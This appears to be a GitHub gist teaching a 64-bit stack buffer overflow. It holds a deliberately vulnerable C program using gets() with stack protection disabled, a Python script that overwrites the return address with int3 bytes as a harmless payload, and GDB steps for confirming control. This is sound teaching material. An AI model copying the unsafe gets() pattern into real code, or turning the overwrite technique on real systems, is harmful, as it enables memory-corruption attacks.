Skip to content

Instantly share code, notes, and snippets.

@willitscale

willitscale/BUFFER_OVERFLOW_SETUP.MD

Last active March 5, 2022 07:23
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save willitscale/d8df1d308645d25a901fe1a31b80a1b4 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save willitscale/d8df1d308645d25a901fe1a31b80a1b4 to your computer and use it in GitHub Desktop.
Download ZIP
Bufferoverflow
Raw
explot.py
import struct
# This is for a 64 bit architecture
# 64 bytes for the character string plus 8 bytes for the LEAVE (or ENTER) instruction
# this should take us to the RETURN instruction
padding = "\x01"*72
# Point the EIP at the stack
eip = struct.pack("Q", 0x7fffffffde00)
# Trip the code into a CPU debugger (also known as int3),
# prevents a segmentation fault from halting the application
payload = "\xCC"*8
print padding + eip + payload
Raw
PROCESS.MD

PROCESS

GDB Documentation:

Build binary

$ gcc stack.c -fno-stack-protector -o stack

Run GDB

$ gdb stack

Disassemble the main function to find the ret(32)/retq(64 aka return quad) instruction

(gdb) disassemble main

Create a break point when the main function returns

(gdb) break *0x0...

Define a hook-stop macro

(gdb) define hook-stop

Setup the hook

# Display the current instruction which will be executed next $eip (32) / $rip (64)
> x/1i $eip 
> x/1i $rip
# Examine 8 words as hex from the stack $esp(32)/$rsp(64) and x/8wx(32)/x8gx(64)
> x/8wx $esp
> x/8gx $rsp
# Close the hook stop
> end

Execute it

(gdb) r

The code should break at out breakpoint so let's step into the return

(gdb) si

Run the code with the alphabet

(gdb) r < alphabet

Step into what should be a segmentation fault

(gdb) si

Inspect the stack register $esp(32)/$rsp(64)

(gdb) x/s $esp
(gdb) x/s $rsp

Run it again

(gdb) r

Step into our return

(gdb) si

Inspect the registers

(gdb) info registers

Update the script with a INT3 and then run

(gdb) r < exploit

Continue the code which should show us telling the instructor to jump to the stack, hitting an int3 and if all worked you will have a SIGTRAP instead of a SIGSEGV

(gdb) c
Raw
stack.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main() {
char buffer[64];
gets(buffer);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment